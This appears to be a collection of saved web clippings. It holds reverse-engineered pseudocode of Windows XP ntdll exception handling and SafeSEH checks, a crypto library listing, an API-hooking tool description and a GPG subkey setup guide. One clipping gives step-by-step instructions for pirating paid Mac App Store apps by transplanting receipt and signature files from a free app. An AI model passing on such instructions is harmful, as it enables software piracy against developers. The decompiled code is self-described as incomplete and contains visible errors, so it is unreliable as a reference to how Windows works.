     
    
[/code]

/\* there are two possible bit flags with CrossProcessFlags that it checks
here

flag = 0 corresponds to ProcessUsingVEH

flag = 1 corresponds to ProcessUsingVCH

\*/

if \(peb->CrossProcessFlags & \(1 << \(flag + 2\)\) \{

freeList = NULL;

[code]

     
    
[/code]

/\* get a slim reader/writer lock on the vectorhandlerlist \*/

RtlAcquireSRWLockExclusive\(head\);

[code]

     
    
[/code]

next = head->Next;

[code]

     
    
[/code]

while \(next \!= head\) \{

next->Depth++;

RtlReleaseSRWLockExclusive\(head\);

[code]

     
    
[/code]

handler = RtlDecodePointer\(next->VectoredHandler\);

hret = handler\(ExceptionRecord\);

[code]

     
    
[/code]

RtlAcquireSRWLockExclusive\(head\);

next->Depth--;

[code]

     
    
[/code]

if \(next->Depth == 0\) \{

next->Next->Prev = next->Prev;

next->Prev->Next = next->Next;

[code]

     
    
[/code]

if \(next->Prev == next->Next\) \{

/\* this is actuall an atomic bit reset \(lock btr\) instruction

\* basically they are clearing either the ProcessUsingVEH or ProcessUsingVCH
flags

[code]

     
    
[/code]

\* when the list becomes empty \*/

peb->CrossProcessFlags &= ~\(1 << \(flag + 2\)\);

\}

[code]

     
    
[/code]

next->Prev = freeList;

freeList = next;

\}

[code]

     
    
[/code]

next = next->Prev;

[code]

     
    
[/code]

if \(hret == EXCEPTION\_CONTINUE\_EXECUTION\) \{

ret = 1;

break;

\}

\}

[code]

     
    
[/code]

RtlReleaseSRWLockExclusive\(head\);

[code]

     
    
[/code]

while \(freeList\) \{

LPVOID p = freeList;

freeList = freeList->Prev;

RtlFreeHeap\(peb->ProcessHeap, 0, p\);

\}

\}

[code]

     
    
[/code]

return ret;

\}

  

  

VEH 7 - nt6 bla

  

/\*

\* exception handling routines \(xp 32-bit, partial/incomplete\)

\*

\* ntdll 5.1.2600.5755

\* v2 \(updated jan 2011\)

\*

\* - hawkes <hawkes@sota.gen.nz>

\*

\* useful link:
http://www.eeye.com/html/resources/newsletters/vice/VI20060830.html

\*

\*/

\#define DISPOSITION\_DISMISS 0

\#define DISPOSITION\_CONTINUE\_SEARCH 1

\#define DISPOSITION\_NESTED\_EXCEPTION 2

\#define DISPOSITION\_COLLIDED\_UNWIND 3

\#define EH\_NONCONTINUABLE 0x01

\#define EH\_UNWINDING 0x02

\#define EH\_EXIT\_UNWIND 0x04

\#define EH\_STACK\_INVALID 0x08

\#define EH\_NESTED\_CALL 0x10

  

\#define STATUS\_NONCONTINUABLE\_EXCEPTION 0xC0000025

\#define STATUS\_INVALID\_DISPOSITION 0xC0000026

  

\#define EXCEPTION\_CONTINUE\_EXECUTION -1

  

\#define PAGE\_EXEC\_MASK
\(PAGE\_EXECUTE|PAGE\_EXECUTE\_READ|PAGE\_EXECUTE\_READWRITE|PAGE\_EXECUTE\_WRITECOPY\)

  

typedef struct \_EXCEPTION\_RECORD \{

DWORD ExceptionCode;

DWORD ExceptionFlags;

struct \_EXCEPTION\_RECORD \*ExceptionRecord; // var\_CW

PVOID ExceptionAddress;

DWORD NumberParameters;

ULONG\_PTR ExceptionInformation\[15\];

\} EXCEPTION\_RECORD, \*PEXCEPTION\_RECORD;

  

typedef struct \_EXCEPTION\_REGISTRATION

\{

struct \_EXCEPTION\_REGISTRATION\* prev;

PEXCEPTION\_HANDLER handler;

\} EXCEPTION\_REGISTRATION, \*PEXCEPTION\_REGISTRATION;

  

typedef struct \_VECTORED\_EXCEPTION\_NODE \{

LIST\_ENTRY ListEntry;

PVECTORED\_EXCEPTION\_HANDLER handler;

\} VECTORED\_EXCEPTION\_NODE, \*PVECTORED\_EXCEPTION\_NODE;

  

typedef enum \_EXCEPTION\_DISPOSITION

\{

ExceptionContinueExecution,

ExceptionContinueSearch,

ExceptionNestedException,

ExceptionCollidedUnwind

\} EXCEPTION\_DISPOSITION;

  

/\* 7C97E3FA \*/

UCHAR LogExceptions = 0;

  

/\* 7C97E3C0 \*/

LIST\_ENTRY RtlpCalloutEntryList;

  

/\* 7C9805E0 \*/

RTL\_CRITICAL\_SECTION RtlpCalloutEntryLock;

RTL\_CRITICAL\_SECTION LdrpLoaderLock;

  

/\* 7C90E47C \*/

VOID KiUserExceptionDispatcher\(\_\_in PCONTEXT ContextRecord, \_\_in
PEXCEPTION\_RECORD ExceptionRecord\) \{

NTSTATUS Status;

if \(RtlDispatchException\(ContextRecord, ExceptionRecord\)\) \{

/\* 7C90E48E modify the execution context of the current thread to whatever
the chosen exception handler gives us \*/

Status = ZwContinue\(ContextRecord, 0\);

\}

else \{

/\* 7C90E49A no exception handler found so re-raise the exception for a
debugger or the NT exception handler \*/

Status = ZwRaiseException\(ExceptionRecord, ContextRecord, 0\);

\}

/\* 7C90E4A5 build an exception record with 20 bytes on the stack, second
chance exception? \*/

PEXCEPTION\_RECORD exception = \(PEXCEPTION\_RECORD\) alloca\(0x14\);

exception->ExceptionCode = Status;

exception->ExceptionFlags = 1;

exception->ExceptionRecord = ContextRecord;

exception->NumberParameters = 1;

  

return RtlRaiseException\(exception\);

\}

/\* 7C92A970 returns true if exception handler was found and used \*/

BOOLEAN RtlDispatchException\(PCONTEXT ContextRecord, PEXCEPTION\_RECORD
ExceptionRecord\) \{

BOOLEAN ret = 0;

LPVOID StackBase, StackLimit;

PEXCEPTION\_REGISTRATION head;

DWORD kProcess\_Flags;

DWORD dispatch, highest;

EXCEPTION\_RECORD exRec;

if \(RtlCallVectoredExceptionHandlers\(ExceptionRecord, ContextRecord\)\) \{

/\* 7C95010A \*/

ret = 1;

\}

else \{

/\* 7C92A991 \*/

RtlpGetStackLimits\(&StackLimit, &StackBase\);

/\* 7C92A99F \*/

head = RtlpGetRegistrationHead\(\);

highest = 0;

while \(head \!= \(PEXCEPTION\_REGISTRATION\) -1\) \{

/\* 7C92A9B4 \*/

if \(head < StackLimit || head + sizeof\(EXCEPTION\_REGISTRATION\) > StackBase
|| head & 3\) \{

/\* 7C92A336 \*/

ExceptionRecord->ExceptionFlags |= EH\_STACK\_INVALID;

goto exit;

\}

if \(head->handler >= StackLimit && head->handler < StackBase\) \{

/\* 7C92A336 \*/

ExceptionRecord->ExceptionFlags |= EH\_STACK\_INVALID;

goto exit;

\}

/\* 7C92A9E3 \*/

if \(\!RtlIsValidHandler\(head->handler\)\) \{

/\* 7C92A336 \*/

ExceptionRecord->ExceptionFlags |= EH\_STACK\_INVALID;

goto exit;

\}

else if \(LogExceptions\) \{

/\* 7C950113 \*/

RtlpLogExceptionHandler\(ContextRecord, ExceptionRecord, 0, head, 0x10\);

\}

/\* 7C92A9FE \*/

hret = RtlpExecuteHandlerForException\(ContextRecord, head, ExceptionRecord,
&dispatch, head->handler\);

if \(LogExceptions\) \{

/\* 7C950129 there is a second parameter to this function that I don't
understand yet \*/

RtlpLogLastExceptionDisposition\(highest, hret\);

\}

/\* 7C92AA1E \*/

if \(head == NULL\) \{

ExceptionRecord->ExceptionFlags &= ~EH\_NESTED\_CALL;

\}

/\* 7C92AA27 \*/

if \(hret == DISPOSITION\_DISMISS\) \{

if \(ExceptionRecord->ExceptionFlags & EH\_NONCONTINUABLE\) \{

/\* 7C950181 \*/

exRec.ExceptionCode = STATUS\_NONCONTINUABLE\_EXCEPTION;

exRec.ExceptionFlags = EH\_NONCONTINUABLE;

exRec.ExceptionRecord = ExceptionRecord;

exRec.NumberParameters = 0;

RtlRaiseException\(&exRec\);

/\* 7C92A31C a little fudging with this block \*/

if \(ExceptionRecord->ExceptionFlags & EH\_STACK\_INVALID\) \{

goto exit;

\}

\}

else \{

/\* 77EDBD64 \*/

ret = 1;

break;

\}

\}

else if \(hret == DISPOSITION\_CONTINUE\_SEARCH\) \{

/\* 7C92A31C a little fudging with this block \*/

if \(ExceptionRecord->ExceptionFlags & EH\_STACK\_INVALID\) \{

goto exit;

\}

\}

else if \(hret == DISPOSITION\_NESTED\_EXCEPTION\) \{

/\* 7C950169 \*/

ExceptionRecord->ExceptionFlags |= EH\_NESTED\_CALL;

if \(dispatch > highest\) \{

highest = dispatch;

\}

\}

else \{

/\* 7C950147 \*/

exRec.ExceptionCode = STATUS\_INVALID\_DISPOSITION;

exRec.ExceptionFlags = EH\_NONCONTINUABLE;

exRec.ExceptionRecord = ExceptionRecord;

exRec.NumberParameters = 0;

RtlRaiseException\(&exRec\);

\}

/\* 7C92A326 \*/

head = head->prev;

\}

\}

  

exit:

/\* 7C92AA43 \*/

return ret;

\}

  

/\* 7C92A934 \*/

BOOLEAN RtlCallVectoredExceptionHandlers\(PEXCEPTION\_RECORD ExceptionRecord,
PCONTEXT ContextRecord\) \{

BOOLEAN ret = FALSE;

struct \{

PEXCEPTION\_RECORD eRec;

PCONTEXT cRec;

\} Rec;

PVECTORED\_EXCEPTION\_NODE veh;

PVECTORED\_EXCEPTION\_HANDLER handler;

DWORD disposition

  

if \(RtlpCalloutEntryList.Flink == &RtlpCalloutEntryList\) \{

return FALSE;

\}

eRec = ExceptionRecord;

cRec = ExceptionRecord;

RtlEnterCriticalSection\(&RtlpCalloutEntryLock\);

  

for \(veh = \(PVECTORED\_EXCEPTION\_NODE\) RtlpCalloutEntryList.Flink\);

veh \!= \(PVECTORED\_EXCEPTION\_NODE\) RtlpCalloutEntryList;

veh = \(PVECTORED\_EXCEPTION\_NODE\) veh->ListEntry.Flink\) \{

handler = RtlDecodePointer\(veh->handler\);

disposition = handler\(&Rec\);

if \(disposition == EXCEPTION\_CONTINUE\_EXECUTION\) \{

ret = 1;

break;

\}

\}

RtlLeaveCriticalSection\(&RtlpCalloutEntryLock\);

return ret;

\}

  

/\* 7C9033DC \*/

VOID RtlpGetStackLimits\(LPVOID \*\*StackLimit, LPVOID \*\*StackBase\) \{

PTEB teb = \_TEB; // fs:18h

\*StackLimit = teb->NtTib->StackLimit;

\*StackBase = teb->NtTib->StackBase;

return;

\}

  

/\* 7C92AA50 \*/

BOOLEAN RtlIsValidHandler\(PEXCEPTION\_HANDLER handler\) \{

DWORD table\_sz;

LPVOID safeseh\_table, base\_addr;

DWORD ret, result\_len, exec\_flags, high, low;

MEMORY\_BASIC\_INFORMATION mbi;

safeseh\_table = RtlLookupFunctionTable\(handler, &base\_addr, &table\_sz\);

  

if \(safeseh\_table == NULL || table\_sz == 0\) \{

/\* 7C9500D1 ProcessExecuteFlags\*/

if \(ZwQueryInformationProcess\(INVALID\_HANDLE\_VALUE, 22, &exec\_flags, 4,
NULL\) >= 0\) \{

/\* 7C92CF94 0x10 = ExecuteDispatchEnable \*/

if \(\!\(exec\_flags & 0x10\)\) \{

return 1;

\}

\}

/\* 7C935E8E \*/

if \(NtQueryVirtualMemory\(INVALID\_HANDLE\_VALUE, handler, NULL, &mbi,
sizeof\(MEMORY\_BASIC\_INFORMATION\), &result\_len\) < 0\) \{

return 1;

\}

/\* 7C935EA9 \*/

if \(\!\(mbi.Protect & PAGE\_EXEC\_MASK\)\) \{

RtlInvalidHandlerDetected\(handler, -1, -1\);

return 0;

\}

else if \(mbi.Type \!= SEC\_IMAGE\) \{

return 1;

\}

RtlCaptureImageExceptionValues\(mbi.AllocationBase, &safeseh\_table,
&table\_sz\);

/\* 7C935ED0 \*/

if \(var\_10 == NULL || table\_sz == 0\) \{

return 1;

\}

return 0;

\}

else if \(safeseh\_table == \(LPVOID\) -1 && table\_sz == -1\) \{

return 0;

\}

/\* 7C9500A6 \*/

if \(table\_sz < 0\) \{

RtlInvalidHandlerDetected\(handler, safeseh\_table, table\_sz\);

return 0;

\}

rel\_addr = handler - base\_addr;

high = table\_sz;

low = 0;

/\* 7C9500B1 binary search through SafeSEH table \*/

do \{

idx = \(high + low\) / 2;

if \(rel\_addr < safeseh\_table\[idx\]\) \{

if \(idx == 0\) \{

RtlInvalidHandlerDetected\(handler, safeseh\_table, table\_sz\);

return 0;

\}

high = idx - 1;

if \(high < low\) \{

RtlInvalidHandlerDetected\(handler, safeseh\_table, table\_sz\);

return 0;

\}

\}

else if \(rel\_addr > safeseh\_table\[idx\]\) \{

low = idx + 1;

if \(high < low\) \{

RtlInvalidHandlerDetected\(handler, safeseh\_table, table\_sz\);

return 0;

\}

\}

else \{

break;

\}

\} while\(1\);

return 1;

\}

  

/\* 7C92AAA4 \*/

LPVOID RtlLookupFunctionTable\(PEXCEPTION\_HANDLER handler, DWORD
\*base\_addr, DWORD \*table\_sz\) \{

MEMORY\_BASIC\_INFORMATION mbi;

LPVOID safeseh\_table, base;

  

if \(LdrpInLdrInit && RtlTryEnterCriticalSection\(&LdrpLoaderLock\) == 0\) \{

/\* 7C92DD29 3 = MemoryBasicVlmInformation \*/

if \(NtQueryVirtualMemory\(\(HANDLE\) -1, handler, 3, &mbi,
sizeof\(MEMORY\_BASIC\_INFORMATION\), NULL\) < 0\) \{

return NULL;

\}

else if \(mbi.Type \!= SEC\_IMAGE\) \{

return NULL;

\}

base = mbi.BaseAddress;

/\* 7C92DD51 \*/

RtlCaptureImageExceptionValues\(base, &safeseh\_table, table\_sz\);

\}

else \{

if \(\_TEB \!= NULL\) \{

/\* 7C92AAD9 \*/

PLDR\_MODULE node = \_PEB->Ldr->InLoadOrderModuleList.Flink

if \(\_PEB->Ldr \!= 0 && node \!= NULL\) \{

while \(node \!= &\_PEB->Ldr->InLoadOrderModuleList\) \{

/\* 7C92AB00 \*/

if \(handler < node->BaseAddr\) \{

node = node->InLoadOrderModuleList.Flink;

continue;

\}

if \(handler >= node->BaseAddr + node->SizeOfImage\) \{

node = node->InLoadOrderModuleList.Flink;

continue;

\}

/\* 7C92AB14 \*/

base = node->BaseAddr;

RtlCaptureImageExceptionValues\(base, &safeseh\_table, table\_sz\);

if \(safeseh\_table == NULL && NtDllBase \!= NULL && \(base =
RtlNtImageHeader\(NtDllBase\)\) \!= NULL\) \{

if \(header > base && header < base + \(\(PIMAGE\_NT\_HEADER\)
base\)->OptionalHeaders.SizeOfImage\) \{

/\* 7C950D7D \*/

RtlCaptureImageExceptionValues\(base, &safeseh\_table, table\_sz\);

\}

\}

break;

\}

\}

\}

/\* 7C92AB2C \*/

if \(LdrpInLdrInit\) \{

RtlLeaveCriticalSection\(&LdrpLoaderLock\);

\}

\}

\*base\_addr = base;

return safeseh\_table;

\}

  

  

# C++ Elliptic Curve Cryptography Library 0.14.0 ≈ Packet Storm

**Created:**| _2/25/2011 9:33:04 AM_  
---|---  
**Updated:**| _2/25/2011 9:34:33 AM_  
**Author:**| __  
**Tags:**| _crypto programming_  
  

**C++ Elliptic Curve Cryptography Library 0.14.0**

    Posted Feb 22, 2011
    Site libecc.sourceforge.net
    Libecc is a C++ elliptic curve cryptography library that supports fixed-size keys for maximum speed. The goal of this project is to become the first free Open Source library providing the means to generate safe elliptic curves, and to provide an important source of information for anyone with general interest in ECC.
    Changes: An anti-aliasing bug was fixed, which is needed when compiling this library with g++ 4.4 or higher. asm clobber bugs were fixed for 32-bit assembly.
    tags | library
    systems | unix
    MD5 | `1b0cc0b1937362d8cef0ed91491afa29`

# Install the latest Snow Leopard update\(10.6.6\). Si

**Created:**| _1/6/2011 11:28:28 PM_  
---|---  
**Updated:**| _1/6/2011 11:28:39 PM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  

Install the latest Snow Leopard update\(10.6.6\). Sign into the new App Store
\(in your dock\). Download Twitter, it's free. Then go to Applications folder,
locate Twitter, right click, Show Package Contents, navigate to Contents
folder and copy \_CodeSignature, \_MASReceipt and CodeResources.

Download Angry Birds \( http://bit.ly/gy9wzk \).. run the dmg file.. drag
Angry Birds into the Applications folder. right click, Show Package Contents,
navigate to Contents folder and delete \_CodeSignature, \_MASReceipt and
CodeResources. Now paste in the files you copied from the Twitter.app .

Done. Enjoy Angry Birds and any other .app file from the new Mac App Store
that you can find online ;\)

BAMMM

# WinAPIOverride32 : Free Advanced API Monitor, spy or override API or exe
internal functions

**Created:**| _6/25/2009 3:31:09 PM_  
---|---  
**Updated:**| _6/25/2009 3:31:17 PM_  
**Author:**| __  
**Tags:**| _reversing_  
  
| WinAPIOverride32 is an advanced api monitoring software.  
You can monitor and/or override any function of a process.  
This can be done for API functions or executable internal functions.  
  
It tries to fill the gap between classical API monitoring softwares and
debuggers.  
It can break targeted application before or after a function call, allowing
memory or registers changes; and it can directly call functions of the
targeted application.  
  
---  
Main differences between other API monitoring softwares :  
\- You can define filters on parameters or function result  
\- You can define filters on dll to discard calls from windows system dll  
\- You can hook functions inside the target process not only API  
\- You can hook asm functions with parameters passed through registers  
\- Double and float results are logged  
\- You can easily override any API or any process internal function  
\- You can break process before or/and after function call to change memory or
registers  
\- You can call functions which are inside the remote processes  
\- Can hook COM OLE and ActiveX interfaces  
\- All is is done like modules : you can log or override independently for any
function  
\- Open Source  
  
  
| Last Update : |  May 25 2009   
---|---  
Version : |  5.1.11   
Binaries & Doc : | | <img src='img/Temp2_9529.jpg' />|  WinAPIOverride32 \(Unicode\) 6.46 Mb   
---|---  
<img src='img/Temp2_9529.jpg' />|  WinAPIOverride32 \(Ansi\) 6.46 Mb  
---|---  
Sources : | | <img src='img/Temp2_9530.jpg' />|  Sources v5.1.11 7.66 Mb   
---|---  
Compatibility : |  Windows XP or newer  
Warning, currently only the 32 bits version of this software is available.  
License : |  Freeware under GPL license  
Language : |  C++   
Status : | |  Maintained / Improvements if required | Improvement Request  
---|---

# Recon2013-Alex Ionescu-I got 99 problems but a kernel pointer ain't one

**Created:**| _9/27/2013 11:05:18 AM_  
---|---  
**Updated:**| _9/27/2013 11:05:18 AM_  
**Author:**| _wishi_  
**Tags:**| _reversing conference-material pointers_  
  
<img src='img/Recon2013-Alex Ionescu-I got 99 problems but a kernel pointer
ain't one.pdf' />

# Creating the perfect GPG keypair - Alex Cabal

**Created:**| _9/17/2013 1:10:18 PM_  
---|---  
**Updated:**| _9/18/2013 10:46:13 AM_  
**Author:**| __  
**Tags:**| _crypto_  
  

# **C** reating the perfect GPG keypair****

There’s a lot of information online on how to create a new GPG keypair**.**
Unfortunately a lot of it is old advice and recommends settings that today
might be unsafe**.**

There also isn’t too much information on how to _protect_ your keypair if you
use a laptop that might get lost or stolen**.**

Protecting your keypair on a laptop is tricky**.** On one hand, you need your
private key with you to decrypt or sign messages**.**

On the other hand, if your laptop is stolen then you risk losing your entire
online identity, perhaps going back years, because the thief would have access
to your private key and could then impersonate you**.**

You’d think that today, where laptops and world travel are commonplace,
there’d be a little more information on how to secure a private key you have
to travel with**.** But I could only find one resource: the Debian Wiki entry
on subkeys **.** Fortunately it turns out this wiki page has exactly the
solution we need**.**

## Subkeys help protect your identity in case of private key \(laptop\)
theft****

If a thief gets ahold of the laptop with your private key on it, it’s pretty
much game over**.** The thief can not only decrypt messages intended for you,
they can also impersonate you by signing messages with your private key**.**
Your only recourse would be to revoke your key, but that would mean losing
years of signatures on that key and basically creating a massive inconvenience
for yourself**.**

Part of the answer to this problem is the concept of subkeys**.** Subkeys
can’t prevent a thief from decrypting messages intended for your private
key**.** But they _can_ help mitigate the damage to your identity should your
key be lost or stolen**.**

The concept behind this technique is as follows:

  1. Create a regular GPG keypair**.** By default GPG creates one _signing_ subkey \(your identity\) and one _encryption_ subkey \(how you receive messages intended for you\)**.**
  2. Use GPG to add an _additional_ signing subkey to your keypair**.** This new subkey is linked to the first signing key**.** Now we have three subkeys**.**
  3. This keypair is your **master keypair****.** Store it in a protected place like your house or a safe-deposit box**.** Your master keypair is the one whose loss would be truly catastrophic**.**
  4. Copy your master keypair to your laptop**.** Then use GPG to _remove the original signing subkey_ , leaving only the new signing subkey and the encryption subkey**.** This transforms your master keypair into your **laptop keypair****.**

Your laptop keypair is what you’ll use for day-to-day GPG usage**.**

What’s the benefit to this setup**?** Since your master keypair isn’t stored
on your traveling laptop, that means you can revoke the subkeys on your laptop
should your laptop be stolen**.** Since you’re not revoking the _original_
subkey you created in the master keypair—remember, we removed it from our
laptop’s keypair—that means you don’t have to create a new keypair and go
through the hassle of getting people to sign it again**.** You’d still have to
revoke the stolen subkey, and the thief could still use the encryption subkey
to decrypt any messages you’ve already received, but at least the damage done
won’t be as catastrophic**.**

## Creating the perfect GPG keypair, step-by-step****

I’m going to lead you through the steps to create a new keypair using this
subkey method**.** To do this we’ll be using GPG 1.4.11, which is the version
currently distributed with Ubuntu 12**.** 04 LTS.

GPG can be pretty noisy in its output**.** Some of the output below might be
cut off due to the fixed-width layout of this blog; what’s cut off isn’t
really important, but you can see it by highlighting it with your mouse**.**

### Creating your initial keypair****

Use the gpg ‐‐gen-key command to create a new GPG keypair**.**

You may want your key to expire; it’s up to you**.**

When you create your new keypair, use the highest possible values for key
length**.** As computers get more powerful and storage gets cheaper, it’s
conceivable that a nasty person could archive a message that’s unbreakable
today, then in the future break it using a more powerful computer**.** Using
the highest possible value for key length helps protect you from that
scenario**.** _Don’t use GPG’s default of 2048\!_

`gpg --gen-key gpg (GnuPG) 1**.** 4.11; Copyright (C) 2010 Free Software
Foundation, Inc**.** This is free software: you are free to change and
redistribute it**.** There is NO WARRANTY, to the extent permitted by law**.**
Please select what kind of key you want: (1) RSA and RSA (default) (2) DSA and
Elgamal (3) DSA (sign only) (4) RSA (sign only) Your selection**?** **1** RSA
keys may be between 1024 and 4096 bits long**.** What keysize do you want?
(2048) **4096** Requested keysize is 4096 bits Please specify how long the key
should be valid**.** 0 = key does not expire <n> = key expires in n days <n>w
= key expires in n weeks <n>m = key expires in n months <n>y = key expires in
n years Key is valid for**?** (0) **0** Key does not expire at all Is this
correct**?** (y/N) **y** You need a user ID to identify your key; the software
constructs the user ID from the Real Name, Comment and E-mail Address in this
form: "Heinrich Heine (Der Dichter) <heinrichh@duesseldorf**.** de>" Real
name: **Bilbo Baggins** E-mail address: **bilbo@shire.org** Comment: You
selected this USER-ID: "Bilbo Baggins <bilbo@shire.org>" Change (N)ame,
(C)omment, (E)-mail or (O)kay/(Q)uit**?** **o** You need a Passphrase to
protect your secret key**.** **< passphrase>** gpg: key 488BA441 marked as
ultimately trusted public and secret key created and signed**.** gpg: checking
the trustdb gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u pub
4096R/488BA441 2013-03-13 Key fingerprint = B878 1FB6 B187 B94C 3E52 2AFA EB1D
B79A 488B A441 uid Bilbo Baggins <bilbo@shire.org> sub 4096R/69B0EA85
2013-03-13`

When prompted for a passphrase, make sure to pick a long and unique one**.**
If your key gets stolen, this passphrase is the only thing protecting it**\!**

### Adding a picture****

You might want to add a picture of yourself for completeness**.** Since the
picture is stored in your public key and your public key gets distributed in a
lot of places, including sometimes email, it’s best to use a small image to
save space**.**

Use the gpg ‐‐edit-key command. At the gpg> prompt, enter the command addphoto
and give GPG the path of the picture you’d like to use**.** When you’re done,
use save at the final gpg> prompt to save your changes:

`gpg --edit-key bilbo@shire.org gpg (GnuPG) 1**.** 4.11; Copyright (C) 2010
Free Software Foundation, Inc**.** This is free software: you are free to
change and redistribute it**.** There is NO WARRANTY, to the extent permitted
by law**.** Secret key is available. pub 4096R/488BA441 created: 2013-03-13
expires: never usage: SC trust: ultimate validity: ultimate sub 4096R/69B0EA85
created: 2013-03-13 expires: never usage: E [ultimate] (1)**.** Bilbo Baggins
<bilbo@shire.org> gpg> **addphoto** Pick an image to use for your photo
ID**.** The image must be a JPEG file. Remember that the image is stored
within your public key**.** If you use a very large picture, your key will
become very large as well**!** Keeping the image close to 240x288 is a good
size to use**.** Enter JPEG filename for photo ID: **/home/bilbo/me.jpg** Is
this photo correct (y/N/q)**?** **y** You need a passphrase to unlock the
secret key for user: "Bilbo Baggins <bilbo@shire.org>" 4096-bit RSA key, ID
488BA441, created 2013-03-13 **< passphrase>** pub 4096R/488BA441 created:
2013-03-13 expires: never usage: SC trust: ultimate validity: ultimate sub
4096R/69B0EA85 created: 2013-03-13 expires: never usage: E [ultimate] (1)**.**
Bilbo Baggins <bilbo@shire.org> [ unknown] (2) [jpeg image of size 5324] gpg>
**save**`

### Strengthening hash preferences****

Now we set our key to prefer stronger hashes**.** Use the gpg ‐‐edit-key
command. At the gpg> prompt, enter the command setpref SHA512 SHA384 SHA256
SHA224 AES256 AES192 AES CAST5 ZLIB BZIP2 ZIP Uncompressed \(note that this
will probably be cut off in the example below; highlight it with your mouse to
see it\), then save**.**

`gpg --edit-key bilbo@shire.org gpg (GnuPG) 1**.** 4**.** 11; Copyright (C)
2010 Free Software Foundation, Inc**.** This is free software: you are free to
change and redistribute it**.** There is NO WARRANTY, to the extent permitted
by law**.** Secret key is available**.** gpg: checking the trustdb gpg: 3
marginal(s) needed, 1 complete(s) needed, PGP trust model gpg: depth: 0 valid:
1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u pub 4096R/488BA441 created:
2013-03-13 expires: never usage: SC trust: ultimate validity: ultimate sub
4096R/69B0EA85 created: 2013-03-13 expires: never usage: E [ultimate] (1)**.**
Bilbo Baggins <bilbo@shire.org> [ultimate] (2) [jpeg image of size 5324] gpg>
**setpref SHA512 SHA384 SHA256 SHA224 AES256 AES192 AES CAST5 ZLIB BZIP2 ZIP
Uncompressed** Set preference list to: Cypher: AES256, AES192, AES, CAST5,
3DES Digest: SHA512, SHA384, SHA256, SHA224, SHA1 Compression: ZLIB, BZIP2,
ZIP, Uncompressed Features: MDC, Keyserver no-modify Really update the
preferences**?** (y/N) **y** You need a passphrase to unlock the secret key
for user: "Bilbo Baggins <bilbo@shire.org>" 4096-bit RSA key, ID 488BA441,
created 2013-03-13 **< passphrase>** pub 4096R/488BA441 created: 2013-03-13
expires: never usage: SC trust: ultimate validity: ultimate sub 4096R/69B0EA85
created: 2013-03-13 expires: never usage: E [ultimate] (1)**.** Bilbo Baggins
<bilbo@shire.org> [ultimate] (2) [jpeg image of size 5324] gpg> **save**`

### Adding a new signing subkey****

Now for the special sauce: let’s add our new signing subkey**.**

Use the gpg ‐‐edit-key command. At the gpg> prompt, enter the command
addkey**.** Select RSA \(sign only\) and 4096 for the keysize. Don’t forget to
save at the last gpg> prompt:

`gpg --edit-key bilbo@shire.org gpg (GnuPG) 1**.** 4.11; Copyright (C) 2010
Free Software Foundation, Inc**.** This is free software: you are free to
change and redistribute it**.** There is NO WARRANTY, to the extent permitted
by law**.** Secret key is available. gpg: checking the trustdb gpg: 3
marginal(s) needed, 1 complete(s) needed, PGP trust model gpg: depth: 0 valid:
1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u pub 4096R/488BA441 created:
2013-03-13 expires: never usage: SC trust: ultimate validity: ultimate sub
4096R/69B0EA85 created: 2013-03-13 expires: never usage: E [ultimate] (1)**.**
Bilbo Baggins <bilbo@shire.org> [ultimate] (2) [jpeg image of size 5324] gpg>
**addkey** Key is protected**.** You need a passphrase to unlock the secret
key for user: "Bilbo Baggins <bilbo@shire.org>" 4096-bit RSA key, ID 488BA441,
created 2013-03-13 **< passphrase>** Please select what kind of key you want:
(3) DSA (sign only) (4) RSA (sign only) (5) Elgamal (encrypt only) (6) RSA
(encrypt only) Your selection**?** **4** RSA keys may be between 1024 and 4096
bits long**.** What keysize do you want**?** (2048) **4096** Requested keysize
is 4096 bits Please specify how long the key should be valid**.** 0 = key does
not expire <n> = key expires in n days <n>w = key expires in n weeks <n>m =
key expires in n months <n>y = key expires in n years Key is valid for**?**
(0) **0** Key does not expire at all Is this correct**?** (y/N) **y** Really
create**?** (y/N) **y** pub 4096R/488BA441 created: 2013-03-13 expires: never
usage: SC trust: ultimate validity: ultimate sub 4096R/69B0EA85 created:
2013-03-13 expires: never usage: E sub 4096R/C24C2CDA created: 2013-03-13
expires: never usage: S [ultimate] (1)**.** Bilbo Baggins <bilbo@shire.org>
[ultimate] (2) [jpeg image of size 5324] gpg> **save**`

### Creating a revocation certificate****

Now we generate a revocation certificate file**.** If your keypair gets lost
or stolen, this certificate file is the only way you’ll be able to tell people
to ignore the stolen key**.** _This is important, don’t skip this step**\!**_

`gpg --output \<bilbo@shire.org\>.gpg-revocation-certificate --gen-revoke
bilbo@shire.org`

Store the revocation certificate file along with your master keypair \(which
we’ll export in a later step\) in a safe location**.**

### Exporting the final product****

Now that your keypair has been created, let’s export it so that we can back it
up:

`gpg --export-secret-keys --armor bilbo@shire.org >
\<bilbo@shire.org\>.private.gpg-key gpg --export --armor bilbo@shire.org >
\<bilbo@shire.org\>.public.gpg-key`

This will create two files: your public key and your private key**.** Protect
these two files, along with the revocation certificate file, as best as you
can— _don’t_ keep them on your laptop, keep them in your house or in a safe-
deposit box**.** These three files are your **master keypair****.**

### Transforming your master keypair into your laptop keypair****

Now we our master keypair in our keyring, along with three files representing
the master keypair plus the keypair’s revocation certificate**.** To transform
our master keypair into our **laptop keypair** , we have to remove the
original signing subkey from the master keypair in our keyring**.**

GPG doesn’t make this easy, but here we go:

  1. Export all of the subkeys from our new keypair to a file:
`gpg --export-secret-subkeys bilbo@shire.org > subkeys`

  2. Delete the original signing subkey from the keypair in our keyring:
`gpg --delete-secret-key bilbo@shire.org`

  3. Re-import the keys we exported and clean up our temporary file:
`gpg --import subkeys rm subkeys`

That’s all**\!** You can verify it worked by running:

`gpg -K /home/bilbo/.gnupg/secring.gpg ----------------------------- sec#
4096R/488BA441 2013-03-13 uid Bilbo Baggins <bilbo@shire.org> ssb
4096R/69B0EA85 2013-03-13 ssb 4096R/C24C2CDA 2013-03-13`

See how the third line begins with “sec\#”, not “sec”**?** The pound sign
means the signing subkey is not in the keypair located in keyring**.**

You’re all done**\!**

## What have we just accomplished?

If you followed all the steps in this guide, you:

  1. Created a new keypair using the strongest possible settings**.**
  2. Added a new signing subkey to that keypair**.**
  3. Exported the complete keypair to two files plus a revocation certificate, all three of which you’ve stored up in a safe place, _not_ on your laptop**.** This is your **master keypair**.
